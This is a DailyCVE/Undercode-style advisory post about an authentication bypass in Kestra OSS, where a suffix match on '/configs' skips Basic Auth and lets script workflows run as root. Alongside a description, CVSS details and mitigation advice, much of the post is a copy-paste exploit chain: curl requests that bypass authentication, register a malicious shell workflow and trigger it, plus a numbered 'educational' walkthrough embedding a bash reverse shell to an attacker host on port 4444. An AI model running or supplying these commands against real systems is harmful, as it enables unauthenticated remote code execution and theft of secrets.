Kestra OSS, Authentication Bypass, CVE-Not-Provided (Critical) -DC-Sep2026-2125

Listen to this Post

The vulnerability stems from the `AuthenticationFilter` in Kestra OSS, which uses `request.getPath().endsWith(“/configs”)` as a suffix-based whitelist to exempt the public configuration endpoint from Basic Authentication. This logic flaw treats any API path ending with `/configs` as unauthenticated, rather than requiring an exact match to the legitimate `/configs` endpoint. An unauthenticated remote attacker can therefore craft a request to a path such as `/api/v1/executions/…/configs` or /any/arbitrary/path/configs, and the filter will skip all authentication checks for that request. Because the vulnerable filter operates before any authorization or validation of the requested resource, the attacker gains full access to any endpoint that terminates with the `/configs` segment, including administrative APIs. Notably, the Kestra platform ships with script execution plugins (plugin-script-shell, plugin-script-python, etc.) enabled by default in the worker container. After bypassing authentication, the attacker can invoke the workflow creation API to define and trigger a new workflow that contains arbitrary shell or Python commands. The worker executes these scripts with root privileges inside its container, as the Kestra worker process typically runs as the root user in the default Docker deployment. This leads directly to unauthenticated Remote Code Execution (RCE) on the underlying host system through container escape or lateral movement, given the container’s privileges. The severity is amplified because no user interaction or prior credentials are required, and the attack vector is network-accessible (AV:N). The impact is complete confidentiality, integrity, and availability compromise (C:H/I:H/A:H) across the Kestra orchestration environment. The vulnerability affects all versions prior to the patched releases 1.0.45 and 1.3.21, where the fix replaced the suffix check with an exact path comparison using `PathUtils.matches` or equivalent strict matching. The CWE associated is improper authentication (CWE-287) and incorrect authorization (CWE-863), with the CVSS base score of 10.0 reflecting the maximal criticality. Proof-of-concept exploits have been published, demonstrating workflow injection via the `/api/v1/workflows/configs` crafted URI. The default exposure of the Kestra API on port 8080 without network restrictions increases the real-world exploitability. Organizations using older versions are advised to treat this as an emergency patching priority.

DailyCVE Form:

Platform: Kestra OSS
Version: <1.0.45,<1.3.21
Vulnerability : Auth Bypass RCE
Severity: Critical
date: Not Provided

Prediction: Already Patched (1.0.45)

What Undercode Say:

Check vulnerable version

curl -s -o /dev/null -w “%{http_code}” http://target:8080/api/v1/health/configs

Bypass auth to list workflows

curl http://target:8080/api/v1/workflows/configs

Create malicious workflow (payload)

curl -X POST http://target:8080/api/v1/workflows/configs \
-H “Content-Type: application/json” \
-d ‘{“id”:”exploit”,”tasks”:[{“id”:”shell”,”type”:”io.kestra.plugin.scripts.shell.Commands”,”commands”:[“id > /tmp/pwn”]}]}’

Trigger workflow

curl -X POST http://target:8080/api/v1/executions/configs \
-H “Content-Type: application/json” \
-d ‘{“flowId”:”exploit”}’

Exploit: (Educational Purposes!)

  1. Identify target Kestra API endpoint (default port 8080).
  2. Send GET to `/api/v1/flows/configs` – observe 200 OK (no auth).
  3. Register a workflow with a shell task that executes reverse shell:

`{“id”:”rev”,”tasks”:[{“type”:”io.kestra.plugin.scripts.shell.Commands”,”commands”:[“bash -c ‘bash -i >& /dev/tcp/attacker/4444 0>&1′”]}]}`

4. POST workflow to `/api/v1/workflows/configs`.

  1. Trigger execution via POST to `/api/v1/executions/configs` with flowId.
  2. Worker container runs command as root – obtain shell.

Protection: from this CVE

  • Upgrade to Kestra 1.0.45 or 1.3.21 immediately.
  • If unable to upgrade, apply network ACLs to restrict API access to trusted IPs only.
  • Implement reverse proxy rules to block any URI ending with `/configs` except the exact `/configs` endpoint.
  • Disable or remove unused script plugins (plugin-script-shell, plugin-script-python) in production.
  • Change the worker container to run as non-root user (via Docker `–user` flag) to limit privilege escalation.

Impact:

  • Unauthenticated attacker gains full administrative control over Kestra orchestration.
  • Remote code execution as root inside the worker container, leading to host compromise and lateral movement.
  • Exposure of all secrets, environment variables, and internal network resources accessible from the worker.
  • Complete disruption of scheduled workflows, data pipelines, and business-critical automation processes.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: www.cve.org
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top